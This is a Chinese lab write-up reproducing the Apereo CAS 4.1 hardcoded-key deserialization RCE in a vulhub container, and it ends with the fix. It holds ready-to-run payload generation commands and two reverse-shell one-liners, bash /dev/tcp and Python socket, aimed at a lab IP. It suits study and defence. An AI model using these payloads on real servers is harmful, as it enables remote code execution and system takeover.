Apereo cas 密鑰硬編碼反序列化漏洞
前言
最近也是在工作中遇到這個漏洞,之前沒接觸過,而且這個漏洞也比較老了,是2016年發現的,并且是基于反序列化產生的,所以就打算學習并且做一下復現,如果以后再遇到的時候能夠知道該如何分析。
0x01 Apereo cas簡介
Apereo CAS 單點登陸系統是Java服務器環境下使用較為廣泛的單點登陸系統。
CAS 全程Central Authentication Service(中心認證服務),是一個單點登錄協議,Apereo CAS是實現該協議的軟件包。
單點登錄定義
單點登錄(Single sign on),英文名稱縮寫SSO,SSO的意思就是在多系統的環境中,登錄單方系統,就可以在不用再次登錄的情況下訪問相關受信任的系統,也就是說只要登錄一次單體系統就可以。
0x02 漏洞簡介
最早發現此漏洞的文章:https://apereo.github.io/2016/04/08/commonsvulndisc/
漏洞成因是在4.1.7版本以前一直存在一個默認密鑰問題,利用這個默認密鑰我們可以構造惡意信息觸發目標反序列化漏洞,從而執行任意命令。
Apereo CAS 4.1.X~4.1.6 默認密鑰
Apereo CAS 4.1.7~4.2.X KEY隨機生成
0x03漏洞利用與復現
Webflow中使用了默認密鑰changeit,所以我們就可以利用默認密鑰生成序列化對象。

環境:安裝了vulhub的kali
工具:apereo-cas-attack、burpsuite
Apereo-cas-attaack:使用ysoserial的CommonsCollections4生成加密后的Payload
啟動vulhub中的Apereo cas環境
cd /vulhub/apereo-cas/4.1-rce
docker-compose up -d //啟動docker環境

使用工具生成payload
java -jar apereo-cas-attack-1.0-SNAPSHOT-all.jar CommonsCollections4 "touch /tmp/sucess"

進入主頁并抓包,替換execution
http://192.168.0.112:8080/cas/login


進入容器,在/tmp目錄創建了success文件,說明成功利用
docker exec -it <容器ID> /bin/bash
docker ps -a //查找容器ID,一串字符串的就是ID

其他利用方式
①反彈shell,bash -i >& /dev/tcp/ip/port 0>&1,payload如下
java -jar apereo-cas-attack-1.0-SNAPSHOT-all.jar CommonsCollections4 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjAuMy83Nzc3IDA+JjE=} | {base64,-d} | {bash,-i}"



python生成的payload如下,然后直接替換execution后即可反彈成功:
python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('192.168.0.3',7777));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);
②回顯與檢測
目的:網站所在系統環境無法出網,回顯可以直接看到命令執行的返回內容。
使用魔改工具ysoserial-mangguogan-master,Payload如下,然后將編碼后的數據替換execution,并且在請求頭中添加cmd:whoami等命令,查看回顯。
java -jar ysoserial-managguogan-0.0.1-SNAPSHOT-all.jar encode CommonsCollections4


參考: 反彈shell https://www.cnblogs.com/Qixiansheng/p/15474651.html
回顯與檢測 https://xz.aliyun.com/t/8260?page=5
附:kali的vulhub搭建
https://www.cnblogs.com/lxfweb/p/12952490.html
0x04漏洞危害
任意命令執行
0x05漏洞修復
修改默認密鑰
升級Apereo CAS版本
注意:漏洞利用成功響應頭回顯是500,并且響應體中會有正常的數據。
